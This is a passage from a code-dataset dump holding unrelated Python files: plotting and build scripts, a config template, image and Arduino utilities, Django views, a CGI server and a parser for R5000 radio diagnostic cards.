all ticks...\n ax.set_yticks(np.arange(len(xs)))\n ax.set_xticks(np.arange(len(ys)))\n # ... and label them with the respective list entries\n ax.set_yticklabels(list(reversed([round(f, 1) for f in xs])))\n ax.set_ylabel(X)\n ax.set_xticklabels([round(f, 1) for f in ys])\n ax.set_xlabel(Y)\n # Rotate the tick labels and set their alignment.\n plt.setp(ax.get_xticklabels(), rotation=45, ha=\"right\",\n rotation_mode=\"anchor\")\n ax.set_title(\"Heatmap of the last fitness value for different \"+X+\" and \"+Y)\n fig.tight_layout()\n plt.savefig('heatmap'+X+'_'+Y+'.png')\n\npath = os.path.join(pathToFiles, 'Binary_files')\nwith open(os.path.join(path, 'genome.file'), \"rb\") as f:\n genome = pickle.load(f)\n#plot_hist(genome, 'insertion')\n\n#heatmap('f', 'T0')\nplot_fitness(genome)\n#plot_hist(genome, 'inversion')\n#plot_hists(genome)\n#plot_inv_size_fitness(genome)\n","sub_path":"figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"36085639","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nfrom bincrafters import build_template_default\nimport platform\nimport os\n\nif __name__ == \"__main__\":\n\n builder = build_template_default.get_builder()\n builder.builds = []\n\n settings = dict()\n settings['compiler'] = 'clang'\n settings['compiler.version'] = '8'\n settings['compiler.libcxx'] = 'libc++'\n settings['os'] = 'Android'\n if platform.system() == 'Windows':\n settings['os_build'] = 'Windows'\n if 'ARCH_BUILD' in os.environ:\n arches_build = [os.environ['ARCH_BUILD']]\n else:\n arches_build = ['x86', 'x86_64']\n elif platform.system() == 'Linux':\n settings['os_build'] = 'Linux'\n arches_build = ['x86_64']\n elif platform.system() == 'Darwin':\n settings['os_build'] = 'Macos'\n arches_build = ['x86_64']\n if 'ARCH' in os.environ:\n arches = [os.environ['ARCH']]\n else:\n arches = ['x86', 'x86_64', 'armv7', 'armv8']\n for arch in arches:\n for arch_build in arches_build:\n settings['arch'] = arch\n settings['arch_build'] = arch_build\n if arch in ['x86', 'armv7']:\n settings['os.api_level'] = '16'\n else:\n settings['os.api_level'] = '21'\n builder.add(settings=settings.copy(), options={}, env_vars={}, build_requires={})\n\n builder.run()\n","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"423923668","text":"\nACCESS_TOKEN_EXPIRE_MINUTES = 30\nSECRET_KEY = \"\"\nALGORITHM = \"HS256\"\nurl_pads=\"http://www.psychoanalystdatabase.com/PEPProductLive/PEPProduct.asmx\"\n\nimport hashlib, binascii, os\n\n# use this to set the active configuration below\nCONFIG = \"AWSCodesyper\"\n\n# Template for local settings, including sensitive info\n# These are the defaults, if not overridden below\nDEBUG_DOCUMENTS = 1\nDBPORT = 3306\nAPI_PORT_MAIN = 9100\nSSH_HOST = None # if set, ssh tunnel is active for database\nCORS_REGEX = \"(.*\\.)?(pep\\-web|development)\\..*\"\nAPI_BINARY_IMAGE_SOURCE_PATH = r\"./images\" # where external images in articles will be found\nAPI_PDF_ORIGINALS_PATH = r\"./pdforiginal\" # where pdf originals for documents are found for the download feature\n\n# setting config above selects the active configuration\nif CONFIG == \"Local\":\n API_PORT_MAIN = 9100\n COOKIE_DOMAIN = \".development.org\"\n BASEURL = \"development.org\"\n SOLRURL = \"http://localhost:8983/solr/\"\n SOLRUSER = None\n SOLRPW = None\n DBHOST = \"localhost\"\n DBUSER = \"fill-me-in\"\n DBPW = \"fill-me-in\"\n DBNAME = \"opascentral\"\n API_BINARY_IMAGE_SOURCE_PATH = r\"fill-me-in\"\n API_PDF_ORIGINALS_PATH = r\"fill-me-in\"\n CORS_REGEX = \"(.*\\.)?(pep\\-web|development)\\..*\"\n \nelif CONFIG == \"AWSCodesyper\": # Codesypher setup, but running from my PC\n API_PORT_MAIN = 9100\n COOKIE_DOMAIN = \".pep-web.rocks\" # OR pep-web.rocks when running all from AWS\n BASEURL = \"pep-web.rocks\"\n SOLRURL = \"http://3.135.134.136:8983/solr/\" \n SOLRUSER = \"pep_user\"\n SOLRPW = None\n DBPORT = 3308\n DBHOST = \"3.135.134.136\"\n DBUSER = \"fill-me-in\"\n DBPW = \"fill-me-in\"\n DBNAME = \"opascentral\"\n SSH_HOST = None\n API_BINARY_IMAGE_SOURCE_PATH = r\"fill-me-in\"\n API_PDF_ORIGINALS_PATH = r\"fill-me-in\"\n CORS_REGEX = \"(.*\\.)?(pep\\-web|development)\\..*\"\n\nelif CONFIG == \"TunneledRemoteExample\":\n import paramiko\n from paramiko import SSHClient\n import sshtunnel # the tunneling is to the db server, not solr\n API_PORT_MAIN = 9100\n # domain running server\n COOKIE_DOMAIN = \".development.org\" # . means include any subdomains\n BASEURL = \"development.org\"\n SOLRURL = \"http://3.99.999.999/solr/\" # EXAMPLE Solr \n SOLRUSER = \"user\" # need user and password for codesypher server\n SOLRPW = \"fill-me-in\"\n DBPORT = 3306\n DBHOST = \"localhost\" # with tunneling, you are on localhost\n DBUSER = \"root\"\n DBPW = \"fill-me-in\"\n DBNAME = \"opascentral\"\n # if SSH_HOST is not none, then DB will be tunneled to\n SSH_HOST = 'ec2-99-999-999-9.compute-1.amazonaws.com' # made up AWS example\n SSH_USER = \"fill-me-in\"\n SSH_PORT = 22\n PKEYFILE = \"fill-me-in\"\n SSH_MYPKEY = paramiko.RSAKey.from_private_key_file(PKEYFILE)\n","sub_path":"app/config/localsecrets_fillin_and_change_name_to_localsecrets.py","file_name":"localsecrets_fillin_and_change_name_to_localsecrets.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"273049947","text":"import cv2\nimport imageProcessing_water as ip\nimport sys\ntry:\n input_file = sys.argv[1]\n output_file = sys.argv[2]\nexcept:\n print('usage:')\n print('python imgtest.py input_file, output_file')\n\nimg = cv2.imread(input_file)\n# img = cv2.imread('../landscape.jpg')\nimg = cv2.resize(img, (640, 480))\np = ip.painterly(img, [8, 4, 2])\n# cv2.imshow('p', p)\ncv2.imwrite(output_file, p)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()","sub_path":"imgtest_water.py","file_name":"imgtest_water.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"175459042","text":"# -*- coding: utf-8 -*-\nimport serial\n\n# Abrimos la conexión con Arduino\narduino = serial.Serial('/dev/ttyACM0', baudrate=9600, timeout=1.0)\n\n\narduino.setDTR(False)\narduino.flushInput()\narduino.setDTR(True)\n\nwhile arduino:\n\ttime.sleep(1)\n\ttemperatura = arduino.readline()\n\tprint(temperatura)\n\n\n\n\n\n\n\n","sub_path":"thermistor.py","file_name":"thermistor.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"193333303","text":"# -*- coding: utf-8 -*-\nimport json\nfrom django.http import JsonResponse\nfrom django.http.response import Http404\nfrom django.views.generic.base import TemplateView\nfrom django.views.decorators.csrf import csrf_exempt\nfrom vv.views import PostFormView\nfrom .producers import publish\nfrom .utils import signed_response\nfrom .apps import CHANNELS_NAMES\n\n\n@csrf_exempt\ndef instant_auth(request):\n if not request.is_ajax() or not request.method == \"POST\":\n raise Http404\n chans = CHANNELS_NAMES\n data = json.loads(request.body.decode(\"utf-8\"))\n channels = data[\"channels\"]\n client = data['client']\n response = {}\n for channel in channels:\n signature = None\n if channel in chans[\"users\"]:\n if request.user.is_authenticated:\n signature = signed_response(channel, client)\n if channel in chans[\"staff\"]:\n if request.user.is_staff:\n signature = signed_response(channel, client)\n if channel in chans[\"superuser\"]:\n if request.user.is_superuser:\n signature = signed_response(channel, client)\n # response\n if signature is not None:\n response[channel] = signature\n else:\n response[channel] = {\"status\": \"403\"}\n return JsonResponse(response)\n\n\nclass FrontendView(TemplateView):\n template_name = 'instant/frontend/index.html'\n \n def dispatch(self, request, *args, **kwargs):\n if not self.request.user.is_superuser:\n raise Http404\n return super(FrontendView, self).dispatch(request, *args, **kwargs)\n\n\nclass PostMsgView(PostFormView):\n \n def dispatch(self, request, *args, **kwargs):\n if not self.request.user.is_superuser:\n raise Http404\n return super(PostMsgView, self).dispatch(request, *args, **kwargs)\n\n def action(self, request, clean_data):\n try:\n msg = clean_data[\"msg\"]\n chan = clean_data[\"channel\"]\n event_class = clean_data[\"msg_class\"]\n data = clean_data[\"msg_data\"]\n if data == \"\":\n data = {}\n else:\n data = json.loads(data)\n err = publish(msg, chan, event_class=event_class, data=data)\n except:\n err = \"Error processing the message data\"\n return None, err\n","sub_path":"instant/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"218907854","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.datasets import load_iris\nfrom sklearn.metrics import euclidean_distances, classification_report\n\n\"\"\"\ndef form_clusters(x, k):\n Build clusters\n no_clusters = k\n model = KMeans(n_clusters=no_clusters, init='random')\n model.fit(x)\n labels = model.labels_\n print(labels)\n sh_score = silhouette_score(x, labels)\n return sh_score\n\ndef get_random_data():\n x_1 = np.random.normal(loc=0.2, scale=0.2, size=(100, 100))\n x_2 = np.random.normal(loc=0.9, scale=0.1, size=(100, 100))\n x = np.r_[x_1, x_2]\n return x\nx = get_random_data()\nplt.cla()\nplt.figure(1)\nplt.title(\"Generated Data\")\nplt.scatter(x[:,0],x[:,1])\nplt.show()\n\nsh_scores = []\nfor i in range(1,5):\n sh_score = form_clusters(x, i+1)\n sh_scores.append(sh_score)\n\nno_clusters = [i+1 for i in range(1, 5)]\n\nplt.figure(2)\nplt.plot(no_clusters, sh_scores)\nplt.title(\"Cluster Quality\")\nplt.xlabel(\"No of clusets k\")\nplt.ylabel(\"Silhouette Coefficient\")\nplt.show()\n\"\"\"\n\ndata = load_iris()\nx = data['data']\ny = data['target']\n\nfrom sklearn.preprocessing import MinMaxScaler\nminmax = MinMaxScaler()\nx = minmax.fit_transform(x)\nR = 2\nn_classes = 3\nepsilon = 0.9\nepsilon_dec_factor = 0.001\n\nclass prototype(object):\n \"\"\"\n Class to hold prototype vectors\n \"\"\"\n def __init__(self, class_id, p_vector, eplsilon):\n self.class_id = class_id\n self.p_vector = p_vector\n self.eplsilon = eplsilon\n\n def update(self, u_vector, increment = True):\n if increment:\n self.p_vector = self.p_vector + self.eplsilon *(u_vector - self.p_vector)\n else:\n self.p_vector = self.p_vector -self.eplsilon*(u_vector - self.p_vector)\ndef find_closest(in_vector, proto_vectors):\n closest = None\n closest_distance = 99999\n for p_v in proto_vectors:\n distance = euclidean_distances(in_vector.reshape(1,4), p_v.p_vector.reshape(1,4))\n if distance < closest_distance:\n closest_distance = distance\n closest = p_v\n return closest\ndef find_class_id(test_vector, p_vectors):\n return find_closest(test_vector, p_vectors).class_id\n\np_vectors = []\n\nfor i in range(n_classes):\n y_subset = np.where(y ==1 )\n x_subset = x[y_subset]\n samples = np.random.randint(0, len(x_subset), R)\n\n for sample in samples:\n s = x_subset[sample]\n p = prototype(i, s, epsilon)\n p_vectors.append(p)\nprint(\"class id \\t Initial protype vector\\n\")\nfor p_v in p_vectors:\n print(p_v.class_id, '\\t', p_v.p_vector)","sub_path":"Un-Monitor DA Tech/k-means.py","file_name":"k-means.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"348108573","text":"#!/usr/bin/env python\n\nimport BaseHTTPServer\nimport CGIHTTPServer\n\nimport argparse, urlparse, urllib\n\nLOGFILE='6bit.requests.log'\n\nclass BetterCGIRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler, object):\n def log_message(self, format, *args):\n open(LOGFILE, \"a\").write(\"%s - - [%s] %s\\n\" % \n (self.address_string(), \n self.log_date_time_string(), \n format%args)) \n\n def send_response(self, code, message=None):\n \"\"\"CGIHTTPRequestHandler.send_response by default doesn't allow \n for 30x HTTP responses from CGI scripts due to sending \n\n This stubs out the parent method's headers if the results of the \n requested script are to be returned ie CGIHTTPRequestHandler.run_cgi \n has found no errors.\n\n \"\"\"\n print('code is: %d' % code)\n print('protocol is: %s' % self.request_version)\n if code != 200:\n super(BetterCGIRequestHandler, self).send_response(code, message)\n\n #append non-.py url requests with a py and serve.\n def do_POST(self):\n self.path = self.path_translation()\n print(urlparse.urlparse(self.path))\n print(self.path)\n super(BetterCGIRequestHandler, self).do_POST()\n\n def do_GET(self):\n self.path = self.path_translation()\n print(urlparse.urlparse(self.path))\n print(self.path)\n # in case of static file, check exists and send initial 200\n if self.path[self.path.rfind('.')+1:] != 'py':\n path = self.translate_path(self.path)\n try:\n f = open(path, 'rb')\n except IOError:\n self.send_error(404, \"File not found\")\n return None\n super(BetterCGIRequestHandler, self).send_response(200)\n super(BetterCGIRequestHandler, self).do_GET()\n\n def path_translation(self):\n p = self.path\n\n # check for plain ajax html template call\n if '/.6bit/theme_edits' in p and p[p.rfind('.')+1:] == 'html':\n val = p\n else:\n val = ''\n if '/cgi-bin/' not in p:\n val = ''.join('cgi-bin')\n if '.py' not in p:\n val = ''.join([val, p, '.py'])\n return val\n\n# DOTO: need to replace url rewriting of real servers\ndef run(port=8000,\n server_class=BaseHTTPServer.HTTPServer,\n handler_class=BetterCGIRequestHandler):\n server_address=('',port)\n httpd = server_class(server_address, handler_class)\n httpd.serve_forever()\n\ndef get_me_a_server():\n server_address=('',8000)\n return BaseHTTPServer.HTTPServer(server_address, BetterCGIRequestHandler)\n #return CGIHTTPServer.HTTPServer(server_address, BetterCGIRequestHandler)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='run a cgi http server on a specified port',\n epilog='epilog')\n parser.add_argument('port', type=int, help='port to server on')\n port = parser.parse_args().port\n run(port)\n","sub_path":"test/cgi_server.py","file_name":"cgi_server.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"433253110","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport re\nfrom copy import deepcopy\nfrom time import time\n\n\ndef timer(function):\n \"\"\"Estimate time\"\"\"\n def wrapper(dc_string, dc_list):\n time_start = time()\n function_result = function(dc_string, dc_list)\n time_end = time()\n logger.info(f'Diagnostic card parsed, Elapsed Time: {time_end - time_start}')\n return function_result\n return wrapper\n\n\n@timer\ndef parse(dc_string, dc_list):\n \"\"\"Parse an R5000 diagnostic card and fill the class instance in\n\n Input - text (dc_string - string, dc_list - list)\n Output:\n\n This function returns result (a tuple to create a class instance) included the next variables:\n model (type str) - a device model\n subfamily (type str) - R5000 Pro, R5000 Lite, R5000 Lite (low cost CPE)\n serial_number (type str) - a serial number\n firmware (type str) - an installed firmware\n uptime (type str) - device's uptime\n reboot_reason (type str) - a last reboot reason\n dc_list (type list) - a diagnostic card text as a list (array of strings divided by \\n)\n dc_string (type str) - a diagnostic card text as a string (whole text in the string)\n settings (type dict) - all important settings (in more detail below)\n radio_status (type dict) - information about all wireless links (in more detail below)\n ethernet_status (type dict) - information about all wire links (in more detail below)\n\n __________________\n settings structure\n Radio\n Type\n ATPC\n Tx Power\n Extnoise\n DFS\n Polling (MINT Master Only)\n Frame size (TDMA Master Only)\n DL/UL ratio (TDMA Master Only)\n Distance (TDMA Master Only)\n Target RSSI (TDMA Master Only)\n TSync (TDMA Master Only)\n Scrambling\n Profile (Key/Name/ID is Profile ID)\n Frequency\n Bandwidth\n Max bitrate\n Auto bitrate\n MIMO\n SID\n Status\n Greenfield\n Switch\n Status\n Switch Group\n Order\n Flood\n STP\n Management\n Mode\n Interfaces\n Rules\n Interface Status\n eth0\n eth1 (R5000 Lite Only)\n rf5.0\n QoS\n Rules\n License\n\n Example of request: settings['MAC']['Radio']['Profile']['Frequency']\n\n ______________________\n radio_status structure\n Links\n All links (Key/Name/ID is Remote MAC)\n Name\n Level Rx\n Level Tx\n Bitrate Rx\n Bitrate Tx\n Load Rx\n Load Tx\n PPS Rx\n PPS Tx\n Cost\n Retry Rx\n Retry Tx\n Power Rx\n Power Tx\n RSSI Rx\n RSSI Tx (TDMA Only)\n SNR Rx\n SNR Tx\n Distance\n Firmware\n Uptime\n Pulses\n Interference Level\n Interference RSSI\n Interference PPS\n RX Medium Load\n TX Medium Load\n Total Medium Busy\n Excessive Retries\n Aggr Full Retries\n Current Frequency\n\n Example of request: radio_status['Links']['MAC']['RSSI Rx']\n\n _________________________\n ethernet_status structure\n eth0 OR eth1 (R5000 Lite Only)\n Status\n Speed\n Duplex\n Negotiation\n Rx CRC\n Tx CRC\n\n Example of request: ethernet_status['eth0']['Speed']\n \"\"\"\n\n def cut_text(text, pattern_start, pattern_end, offset_start, offset_end):\n \"\"\"Cut text from patter_start to pattern_end\n Input - text, patterns - re.compile, offsets - int\n Output - a list with the cut text\n \"\"\"\n try:\n for index, line in enumerate(text):\n if pattern_start.search(line):\n text_start = index + offset_start\n if pattern_end.search(line):\n text_end = index + offset_end\n new_text = text[text_start:text_end]\n except:\n new_text = text\n logger.warning(f'Text has not been cut. Patterns: {pattern_start} - {pattern_end}')\n return new_text\n\n def slice_text(text, slices):\n \"\"\"Slice text by line index\n Input - text and a list with position of rows (indexes)\n Output - a list contains the sliced text (from position to position in accordance with the input list)\n \"\"\"\n new_text = []\n for index, slice in enumerate(slices):\n try:\n text_start = slices[index]\n text_end = slices[index + 1]\n except IndexError:\n # Index + 1 cannot be performed for the last element in the arrange\n text_end = slices[index]\n finally:\n new_text.append(text[text_start:text_end])\n # Drop the element created in the exception\n new_text.pop()\n return new_text\n\n\n # General info\n try:\n general_text = ''.join(dc_list[:15])\n\n pattern_g_fw = re.compile(r'H\\d{2}S\\d{2}-(MINT|TDMA)[v\\d.]+')\n pattern_g_model = re.compile(r'(R5000-[QMOSL][mxnbtcs]{2,5}/[\\dX\\*]'\n r'{1,3}.300.2x\\d{2,3})(.2x\\d{2})?')\n pattern_g_sn = re.compile(r'SN:(\\d+)')\n pattern_g_uptime = re.compile(r'Uptime: ([\\d\\w :]*)')\n pattern_g_reboot_reason = re.compile(r'Last reboot reason: ([\\w ]*)')\n\n if pattern_g_fw.search(general_text):\n firmware = pattern_g_fw.search(general_text).group()\n\n pattern = pattern_g_model.search(general_text)\n if pattern:\n model = pattern.group()\n if ('L' in model or 'S' in model) and '2x19' in model:\n subfamily = 'R5000 Lite (low cost CPE)'\n elif 'L' in model or 'S' in model:\n subfamily = 'R5000 Lite'\n else:\n subfamily = 'R5000 Pro'\n elif pattern and 'H11' in firmware:\n model = 'R5000 Unknown model'\n subfamily = 'R5000 Lite'\n else:\n model = 'R5000 Unknown model'\n subfamily = 'R5000 Pro'\n\n if pattern_g_sn.search(general_text):\n serial_number = pattern_g_sn.search(general_text).group(1)\n\n if pattern_g_uptime.search(general_text):\n uptime = pattern_g_uptime.search(general_text).group(1)\n\n if pattern_g_reboot_reason.search(general_text):\n reboot_reason = pattern_g_reboot_reason.search(general_text).group(1)\n\n except:\n logger.warning('General info was not parsed')\n\n logger.debug(f'General info: Firmware - {firmware}, Model - {model}, Subfamily - {subfamily}, '\n f'SN - {serial_number}, Uptime - {uptime}, Last reboot reason - {reboot_reason}')\n\n # Settings\n radio_profile = {'Frequency': None, 'Bandwidth': None, 'Max bitrate': None, 'Auto bitrate': 'Disabled',\n 'MIMO': None, 'SID': None, 'Status': 'Enabled', 'Greenfield': 'Disabled', 'State': 'Idle'}\n radio_settings = {'Type': 'slave', 'ATPC': 'Disabled', 'Tx Power': None, 'Extnoise': None, 'DFS': None,\n 'Polling': 'Disabled', 'Frame size': None, 'DL/UL ratio': None, 'Distance': None,\n 'Target RSSI': None, 'TSync': 'Disabled', 'Scrambling': 'Disabled', 'Profile': radio_profile}\n switch_group_settings = {'Order': None, 'Flood': 'Disabled', 'STP': 'Disabled', 'Management': 'Disabled',\n 'Mode': 'Normal', 'Interfaces': None, 'Rules': None}\n switch_settings = {'Status': 'Disabled', 'Switch Group': switch_group_settings}\n interfaces_settings = {'eth0': 'down', 'eth1': 'down', 'rf5.0': 'down'}\n qos_settings = {'Options': None, 'Rules': None, 'License': None}\n settings = {'Radio': radio_settings, 'Switch': switch_settings, 'Interface Status': interfaces_settings,\n 'QoS': qos_settings}\n\n try:\n pattern_start = re.compile(r'# R5000 WANFleX H')\n pattern_end = re.compile(r'#LLDP parameters')\n settings_text = cut_text(dc_list, pattern_start, pattern_end, 0, 2)\n\n # Radio Settings\n pattern_set_type = re.compile(r'mint rf5\\.0 -type (\\w+)')\n pattern_set_pwr = re.compile(r'rf rf5.0 txpwr ([\\-\\d]+)')\n pattern_set_atpc = re.compile(r'rf rf5.0 txpwr [\\-\\d]+ (pwrctl)')\n pattern_set_extnoise = re.compile(r'extnoise ([\\-+\\d+])')\n pattern_set_dfs = re.compile(r'dfs rf5\\.0 (dfsradar|dfsonly|dfsoff)')\n pattern_set_scrambling = re.compile(r'mint rf5.0 -scrambling')\n pattern_set_tdma_frame = re.compile(r'tdma mode=Master win=(\\d+)')\n pattern_set_tdma_dist = re.compile(r'mode=Master win=\\d+ dist=(\\d+)')\n pattern_set_tdma_dlp = re.compile(r'mode=Master win=\\d+ dist=\\d+ dlp=(\\d+)')\n pattern_set_tdma_target = re.compile(r'mint rf5\\.0 tdma rssi=([\\-\\d]+)')\n pattern_set_tdma_tsync = re.compile(r'tsync enable')\n pattern_set_polling = re.compile(r'mint rf5\\.0 poll start')\n pattern_set_m_freq = re.compile(r'rf rf5\\.0 freq ([\\.\\d]+)')\n pattern_set_m_bitr = re.compile(r'rf rf5\\.0 freq [\\.\\d]+ bitr (\\d+)')\n pattern_set_m_sid = re.compile(r'rf rf5\\.0 freq [\\.\\d]+ bitr \\d+ sid ([\\d\\w]+)')\n pattern_set_m_band = re.compile(r'rf rf5\\.0 band (\\d+)')\n pattern_set_m_afbitr = re.compile(r'mint rf5\\.0 -(auto|fixed)bitrate')\n pattern_set_m_afbitr_offset = re.compile(r'mint rf5\\.0 -(auto|fixed)bitrate ([\\-+\\d]+)')\n pattern_set_m_mimo = re.compile(r'rf rf5\\.0 (mimo|miso|siso)')\n pattern_set_m_greenfield = re.compile(r'rf rf5\\.0 (mimo|miso|siso) (greenfield)')\n pattern_set_s_status = re.compile(r'mint rf5\\.0 prof \\d+ disable')\n pattern_set_s_state = re.compile(r'[\\w\\d]+ band \\d+ freq [\\-\\d]+ snr \\d+ links \\d+, prof (\\d+)')\n pattern_set_s_band = re.compile(r'-band (\\d+)')\n pattern_set_s_freq = re.compile(r'-freq ([\\.\\d\\w]+)')\n pattern_set_s_bitr = re.compile(r'-bitr (\\d+)')\n pattern_set_s_sid = re.compile(r'-sid ([\\d\\w]+)')\n pattern_set_s_afbitr = re.compile(r'-(auto|fixed)bitr')\n pattern_set_s_afbitr_offset = re.compile(r'-(auto|fixed)bitr (([\\-+])?([\\d]+))')\n pattern_set_s_mimo = re.compile(r'-(mimo|miso|siso)')\n pattern_set_s_greenfield = re.compile(r'(greenfield)')\n\n for line in settings_text:\n # Common settings\n if pattern_set_type.search(line):\n radio_settings['Type'] = pattern_set_type.search(line).group(1)\n\n if pattern_set_pwr.search(line):\n radio_settings['Tx Power'] = pattern_set_pwr.search(line).group(1)\n\n if pattern_set_atpc.search(line):\n radio_settings['ATPC'] = 'Enabled'\n\n if pattern_set_extnoise.search(line):\n radio_settings['Extnoise'] = pattern_set_extnoise.search(line).group(1)\n\n if pattern_set_dfs.search(line):\n radio_settings['DFS'] = pattern_set_dfs.search(line).group(1)\n\n if pattern_set_scrambling.search(line):\n radio_settings['Scrambling'] = 'Enabled'\n\n # TDMA Settings\n if pattern_set_tdma_frame.search(line):\n radio_settings['Frame size'] = pattern_set_tdma_frame.search(line).group(1)\n\n if pattern_set_tdma_dist.search(line):\n radio_settings['Distance'] = pattern_set_tdma_dist.search(line).group(1)\n\n if pattern_set_tdma_dlp.search(line):\n radio_settings['DL/UL ratio'] = pattern_set_tdma_dlp.search(line).group(1)\n\n if pattern_set_tdma_target.search(line):\n radio_settings['Target RSSI'] = pattern_set_tdma_target.search(line).group(1)\n\n if pattern_set_tdma_tsync.search(line):\n radio_settings['TSync'] = 'Enabled'\n\n # MINT Settings\n if pattern_set_polling.search(line):\n radio_settings['Polling'] = 'Enabled'\n\n if radio_settings['Type'] == 'slave':\n radio_settings['Polling'] = None\n radio_settings['TSync'] = None\n elif 'TDMA' in firmware:\n radio_settings['Polling'] = None\n elif 'MINT' in firmware:\n radio_settings['TSync'] = None\n\n except:\n logger.warning('Common settings were not parsed')\n\n\n # Master profile\n try:\n if radio_settings['Type'] == 'master':\n radio_settings['Profile'] = {'M': deepcopy(radio_profile)}\n profile = radio_settings['Profile']['M']\n\n # Master has always active and enabled profile\n profile['State'] = 'Active'\n\n for line in settings_text:\n if pattern_set_m_freq.search(line):\n profile['Frequency'] = pattern_set_m_freq.search(line).group(1)\n\n if pattern_set_m_bitr.search(line):\n profile['Max bitrate'] = pattern_set_m_bitr.search(line).group(1)\n\n if pattern_set_m_sid.search(line):\n profile['SID'] = pattern_set_m_sid.search(line).group(1)\n\n if pattern_set_m_band.search(line):\n profile['Bandwidth'] = pattern_set_m_band.search(line).group(1)\n\n if pattern_set_m_afbitr.search(line):\n if pattern_set_m_afbitr.search(line).group(1) == 'auto' \\\n and pattern_set_m_afbitr_offset.search(line):\n profile['Auto bitrate'] = f'Enabled. Modification is ' \\\n f'{pattern_set_m_afbitr_offset.search(line).group(2)}'\n elif pattern_set_m_afbitr.search(line).group(1) == 'auto':\n profile['Auto bitrate'] = 'Enabled'\n elif pattern_set_m_afbitr.search(line).group(1) == 'fixed':\n profile['Auto bitrate'] = f'Disabled. Fixed bitrate is {profile[\"Max bitrate\"]}'\n\n if pattern_set_m_mimo.search(line):\n profile['MIMO'] = str.upper(pattern_set_m_mimo.search(line).group(1))\n\n if pattern_set_m_greenfield.search(line):\n profile['Greenfield'] = pattern_set_m_greenfield.search(line).group(2)\n\n # Slave profiles\n else:\n # Find each string contains profile\n pattern_profile = re.compile(r'mint rf5\\.0 prof (\\d+)')\n slices = []\n profiles_text = []\n for index, line in enumerate(settings_text):\n if pattern_profile.search(line):\n slices.append(index)\n profiles_text.append(pattern_profile.search(line).group(1))\n slices.append(slices[-1] + 5)\n\n # Slice the profile text by profiles\n profiles = dict(zip(profiles_text, slice_text(settings_text, slices)))\n\n # Parse each profile\n radio_settings['Profile'] = {profile: deepcopy(radio_profile) for profile in profiles.keys()}\n\n if pattern_set_s_state.findall(dc_string):\n profile_active = str(pattern_set_s_state.findall(dc_string)[-1])\n else:\n profile_active = list(radio_settings['Profile'].keys())[0]\n\n for key in radio_settings['Profile']:\n profile = radio_settings['Profile'][key]\n if key == profile_active:\n profile['State'] = 'Active'\n for line in profiles[key]:\n if pattern_set_s_status.search(line):\n # Slave may have idle (not used at this moment) and disabled profiles\n profile['Status'] = 'Disabled'\n # Profile cannot be Active if it is disabled\n profile['State'] = 'Idle'\n\n if pattern_set_s_band.search(line):\n profile['Bandwidth'] = pattern_set_s_band.search(line).group(1)\n\n if pattern_set_s_freq.search(line):\n profile['Frequency'] = pattern_set_s_freq.search(line).group(1)\n\n if pattern_set_s_bitr.search(line):\n profile['Max bitrate'] = pattern_set_s_bitr.search(line).group(1)\n\n if pattern_set_s_sid.search(line):\n profile['SID'] = pattern_set_s_sid.search(line).group(1)\n\n if pattern_set_s_afbitr.search(line):\n if pattern_set_s_afbitr.search(line).group(1) == 'auto' \\\n and pattern_set_s_afbitr_offset.search(line):\n profile['Auto bitrate'] = f'Enabled. Modification is ' \\\n f'{pattern_set_s_afbitr_offset.search(line).group(2)}'\n elif pattern_set_s_afbitr.search(line).group(1) == 'auto':\n profile['Auto bitrate'] = 'Enabled'\n elif pattern_set_s_afbitr.search(line).group(1) == 'fixed':\n profile['Auto bitrate'] = f'Disabled. Fixed bitrate is {profile[\"Max bitrate\"]}'\n\n if pattern_set_s_mimo.search(line):\n profile['MIMO'] = str.upper(pattern_set_s_mimo.search(line).group(1))\n\n if pattern_set_s_greenfield.search(line):\n profile['Greenfield'] = pattern_set_s_greenfield.search(line).group(1)\n\n except:\n logger.warning('Radio settings were not parsed')\n\n logger.debug(f'Radio Settings: {settings[\"Radio\"]}')\n\n # Switch Settings\n try:\n pattern_start = re.compile(r'#MAC Switch config')\n pattern_end = re.compile(r'#SNMP configuration')\n pattern_set_sw = re.compile(r'switch start')\n if pattern_set_sw.search(dc_string):\n switch_settings['Status'] = 'Enabled'\n sw_settings_text_cut = cut_text(settings_text, pattern_start, pattern_end, 1, -1)\n pattern_set_sw_id = re.compile(r'switch group (\\d+) add')\n slices = []\n groups = []\n for index, line in enumerate(sw_settings_text_cut):\n if pattern_set_sw_id.search(line):\n slices.append(index)\n groups.append(pattern_set_sw_id.search(line).group(1))\n slices.append(len(sw_settings_text_cut))\n\n # Slice the profile text by profiles\n sw_settings_text = dict(zip(groups, slice_text(sw_settings_text_cut, slices)))\n\n # Find switch groups\n switch_settings['Switch Group'] = {id: deepcopy(switch_group_settings) for id in sw_settings_text.keys()}\n\n pattern_set_sw_order = re.compile(r'switch group \\d+ add (\\d+)')\n pattern_set_sw_ifc = re.compile(r'switch group \\d+ add \\d+ (.+)')\n pattern_set_sw_flood = re.compile(r'flood-unicast on')\n pattern_set_sw_stp = re.compile(r'stp on')\n 